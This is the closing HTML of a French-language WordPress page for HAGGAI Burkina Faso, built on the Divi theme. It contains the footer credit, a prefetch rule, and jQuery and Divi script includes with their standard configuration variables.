</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
